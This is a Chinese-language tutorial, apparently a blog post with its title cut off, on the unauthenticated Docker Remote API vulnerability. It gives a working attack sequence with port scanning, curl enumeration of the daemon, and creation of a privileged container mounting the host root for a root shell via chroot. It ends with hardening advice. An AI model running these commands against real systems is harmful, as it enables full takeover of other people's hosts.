未授权访问漏洞入侵过程)
一、漏洞原理Docker 远程 APIRemote API未授权访问是容器安全中极为高危的场景。Docker 默认通过 Unix Socket/var/run/docker.sock进行本地通信只有本机上的授权用户才能访问。但是Docker 也支持通过 TCP 端口进行远程管理。当 Docker Daemon 监听在 TCP 端口默认为 2375 或 2376且未配置 TLS 认证或访问控制列表ACL时攻击者可以直接通过 HTTP 请求与 Docker 守护进程交互从而完全控制宿主机。二、入侵过程1.端口扫描namp -Pn -p 2375,2376 target_ip2.服务识别banner信息curl http://target_ip:2375/version如果返回包含Version,ApiVersion,Os等字段的 JSON 数据说明目标存在未授权访问漏洞。3.信息收集查看正在运行的容器curl http://target_ip:2375/containers/json查看本地镜像curl http://target_ip:2375/images/json查看宿主信息curl http://target_ip:2375/info4.权限获取与容器逃逸由于 Docker API 拥有对守护进程的完全控制权攻击者可以通过创建特权容器或挂载宿主机关键目录来实现逃逸进而获得宿主机的 Root 权限。创建特权容器指定挂载卷和特权模式。curl -X POST -H Content-Type: application/json \--data {Image: ubuntu,Cmd: [/bin/bash],Tty: true,Privileged: true,HostConfig: { Binds: [/:/host] }} \http://target_ip:2375/containers/create?nameexploit启动特权容器curl -X POST http://target_ip:2375/containers/exploit/start执行远程交互式 Shell# 本地客户端连接远程 APIexport DOCKER_HOSTtcp://target_ip:2375docker exec -it exploit /bin/bash在容器内操作宿主机文件系统# 在容器内执行chroot /host# 此时已获得宿主机的 Root Shellwhoami三、防御与加固建议1.禁止暴露 TCP 端口默认情况下Docker Daemon 只监听 Unix Socket (/var/run/docker.sock)。除非绝对必要不要通过 -H tcp://0.0.0.0:2375 启动 Docker。2.启用 TLS 认证如果必须远程管理务必配置 TLS 双向认证Client Certificate Authentication确保只有持有合法证书的客户端才能连接。启动参数示例dockerd --tlsverify --tlscacertca.pem --tlscertserver-cert.pem --tlskeyserver-key.pem -H tcp://0.0.0.0:23763.使用防火墙限制访问通过 iptables 或云安全组仅允许受信任的 IP 地址访问 Docker API 端口。4.避免挂载敏感目录在生产环境中尽量避免将宿主机的 /、/etc、/var/run/docker.sock 等敏感目录挂载到容器内。如果必须挂载使用只读模式 (:ro)。5.最小权限原则不要以 --privileged 模式运行容器除非确实需要。使用 Seccomp、AppArmor 或 SELinux 限制容器的系统调用能力。